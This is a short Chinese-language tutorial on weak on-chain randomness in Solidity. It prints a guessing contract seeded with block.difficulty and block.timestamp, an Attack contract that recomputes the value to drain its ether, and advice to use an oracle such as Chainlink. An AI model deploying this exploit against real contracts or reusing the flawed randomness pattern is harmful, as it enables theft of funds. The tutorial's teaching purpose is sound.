一、漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(block.difficulty, block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(block.difficulty, block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
這個猜數的合約很簡單,即你猜對了數就給你1 ether,這個隨機數生成種子采用的是block.difficulty, block.timestamp。
攻擊合約知道隨機生成的規(guī)則,用了相同的隨機數種子——因為都是鏈上公有的數據,先算出來再調用猜數合約,這樣就很容易把合約里的以太都贏過來。
二、預防手段
不用使用block.difficulty、block.timestamp等公用的區(qū)塊參數作為隨機數的種子,這樣會很容易被破解。
一般來說,如果你需要用隨機數,而且這個隨機數要用在非常重要的涉及核心邏輯的場景時,就可以選擇從預言機中拿到隨機數值,比如chainlink,就提供了隨機數。官方文檔中有《Get a Random Number》一節(jié),可以點擊查看。